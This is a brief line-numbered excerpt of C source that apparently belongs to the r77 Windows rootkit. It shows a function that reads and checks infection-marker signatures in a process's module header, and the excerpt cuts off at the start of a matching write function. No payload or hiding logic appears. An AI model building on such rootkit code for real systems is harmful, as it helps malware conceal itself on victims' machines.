| 3 | #include "r77win.h" |
| 4 | |
| 5 | WORD GetR77Header(LPVOID *detachAddress) |
| 6 | { |
| 7 | LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); |
| 8 | if (module) |
| 9 | { |
| 10 | WORD signature = *(LPWORD) & module[R77_HEADER_OFFSET]; |
| 11 | if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE) |
| 12 | { |
| 13 | if (detachAddress) *detachAddress = (LPVOID) * (PDWORD64) & module[R77_HEADER_OFFSET + 2]; |
| 14 | return signature; |
| 15 | } |
| 16 | } |
| 17 | |
| 18 | return 0; |
| 19 | } |
| 20 | BOOL WriteR77Header(WORD signature, LPVOID detachAddress) |
| 21 | { |
| 22 | BOOL result = FALSE; |